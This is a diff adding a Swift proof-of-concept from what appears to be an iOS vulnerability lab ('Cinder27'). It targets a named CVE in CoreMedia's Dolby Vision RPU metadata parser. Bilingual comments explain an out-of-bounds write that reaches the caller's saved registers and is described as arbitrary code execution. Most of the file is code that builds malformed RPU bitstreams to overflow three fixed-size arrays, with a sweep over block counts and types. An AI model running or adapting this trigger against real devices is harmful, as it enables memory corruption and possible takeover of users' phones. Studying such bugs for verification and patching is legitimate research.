Cinder27 — iOS 17.0-27.1 vulnerability verification lab: 51 modules, 31 per-CVE POC folders, 11 no-CVE module folders, harness app source

CVE-2026-112688/CVE-2026-112688.swift

@@ -0,0 +1,122 @@
+// cm.rpu · CoreMedia · hevcbridgeParseVdrDmDataPayloadExMetadataBlocks · CVE-2026-112688
+// 原语: OOB 写 · 系统进程 · tier 2
+// Primitive: OOB write · system process · tier 2
+//
+// [zh] Dolby Vision RPU 扩展元数据块数组越界
+// 三个固定容量数组（A: 4×28 B，B: 8×14 B，C: 5×36 B）在写入前没有计数上界。27.0 的 cmp + b.hi 仅跳过计数自增，写入仍以未检查的计数为索引执行。数组
+// A 的越界写会越过 0x73b4 字节结构体末端，落入调用者的保存寄存器区 —— CMGetDMVersionLevelFromRPU 将该结构体置于自身栈帧。
+//
+// [en] Dolby Vision RPU extension metadata block array overrun
+// Three fixed-capacity arrays (A: 4×28 B, B: 8×14 B, C: 5×36 B) have no count bound before writing.
+// The 27.0 cmp + b.hi only skips the count increment; the write still executes indexed by the unchecked
+// count. Array A's overrun crosses the end of the 0x73b4-byte struct and lands in the caller's saved-register
+// area — CMGetDMVersionLevelFromRPU places that struct on its own stack frame.
+// ── 判别 / oracle ──
+// 该行是公告中唯一明确标注「任意代码执行」的 CoreMedia 条目。头部语法在源研究中仅重建至入口检查（magic / rpu_type / rpu_format 已在 macOS 孪生上实测通过），
+// 故此处采用参数化语法探针，以解析器自身返回的错误作为进度回执。
+//  变体 cm.rpu.sweep: RPU 块数与块类型扫描
+
+import Foundation
+
+// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
+enum B {
+    static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
+    static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
+    static func be32(_ v: UInt32) -> [UInt8] {
+        [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
+    }
+    static func le32(_ v: UInt32) -> [UInt8] {
+        [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
+    }
+    static func be64(_ v: UInt64) -> [UInt8] {
+        (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
+    }
+    static func le64(_ v: UInt64) -> [UInt8] {
+        (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
+    }
+    static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
+    static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
+    static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
+}
+
+/*
+// cm.rpu.sweep · CoreMedia · DOVI RPU · CVE-2026-112688
+// 原语: OOB 写 · 系统进程 · tier 2
+// Primitive: OOB write · system process · tier 2
+//
+// [zh] RPU 块数与块类型扫描
+// 依次用 block-id 1/2/6 分别打三个数组（容量 4/8/5），每种块类型从刚好越界一个到越界八个，记录解析器在哪个点开始拒绝或崩溃。
+//
+// [en] RPU block count and block type sweep
+// Block-ids 1/2/6 are aimed at the three arrays (capacities 4/8/5) in turn, each from one element
+// over capacity up to eight over, recording where the parser starts refusing or terminates.
+*/
+
+// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (RPUPayload) ──
+enum RPUPayload {
+struct BitWriter {
+    private(set) var out: [UInt8] = []
+    private var acc: UInt8 = 0
+    private var nbits = 0
+
+    mutating func put(_ value: UInt32, _ width: Int) {
+        guard width > 0 else { return }
+        for i in stride(from: width - 1, through: 0, by: -1) {
+            acc = (acc << 1) | UInt8((value >> UInt32(i)) & 1)
+            nbits += 1
+            if nbits == 8 { out.append(acc); acc = 0; nbits = 0 }
+        }
+    }
+
+    mutating func putExpGolomb(_ value: UInt32) {
+        let v = value + 1
+        var bits = 0
+        while (v >> UInt32(bits)) > 1 { bits += 1 }
+        for _ in 0..<bits { put(0, 1) }
+        put(v, bits + 1)
+    }
+
+    mutating func flush() -> [UInt8] {
+        if nbits > 0 { out.append(acc << (8 - nbits)); acc = 0; nbits = 0 }
+        return out
+    }
+}
+
+static func probe(blockID: UInt32 = 1, blockCount: Int = 6, seed: UInt32 = 0x0BADF00D) -> Data {
+        var bw = BitWriter()
+        bw.put(0x19, 8)             // magic, byte 0
+        bw.put(2, 6)                // rpu_type = 2 (DOVI)
+        bw.put(0x12, 11)            // rpu_format
+        bw.put(seed & 0x1F, 5)
+        bw.put(1, 4)                // vdr_rpu_profile
+        bw.put(0, 4)                // vdr_rpu_level
+        bw.put(0, 1)                // vdr_seq_info_present_flag
+        bw.put(1, 1)                // chroma_resampling_explicit_filter_flag
+        bw.put(2, 2)                // coefficient_data_type
+        bw.put(1, 1)                // el_spatial_resampling_filter_flag
+        bw.put(0, 1)                // disable_residual_flag
+        bw.put(0, 4)                // nln
+        bw.put(1, 2)                // num_dm_data
+        // DM data head: class-2 ext block loop
+        bw.putExpGolomb(UInt32(blockCount))
+        for i in 0..<blockCount {
+            bw.putExpGolomb(0x40)                       // ext block length-ish
+            bw.put(blockID, 8)                          // block_id
+            // block-id 1 field grammar (u12 x3, u8 x6, u8 x2, u8 gate, u16 x3)
+            bw.put(UInt32(0x100 + i), 12)
+            bw.put(UInt32(0x101 + i), 12)
+            bw.put(UInt32(0x102 + i), 12)
+            for _ in 0..<6 { bw.put(0x26, 8) }
+            bw.put(0x25, 8)
+            bw.put(0x59, 8)
+            bw.put(0x13, 8)                             // unlocks the u16 tail
+            bw.put(UInt32(0x0FFF & (i * 0x111)), 16)
+            bw.put(UInt32(0x0FFF & (i * 0x222)), 16)
+            bw.put(UInt32(0x0FFF & (i * 0x333)), 16)
+        }
+        return Data(bw.flush())
+    }
+
+}
+
+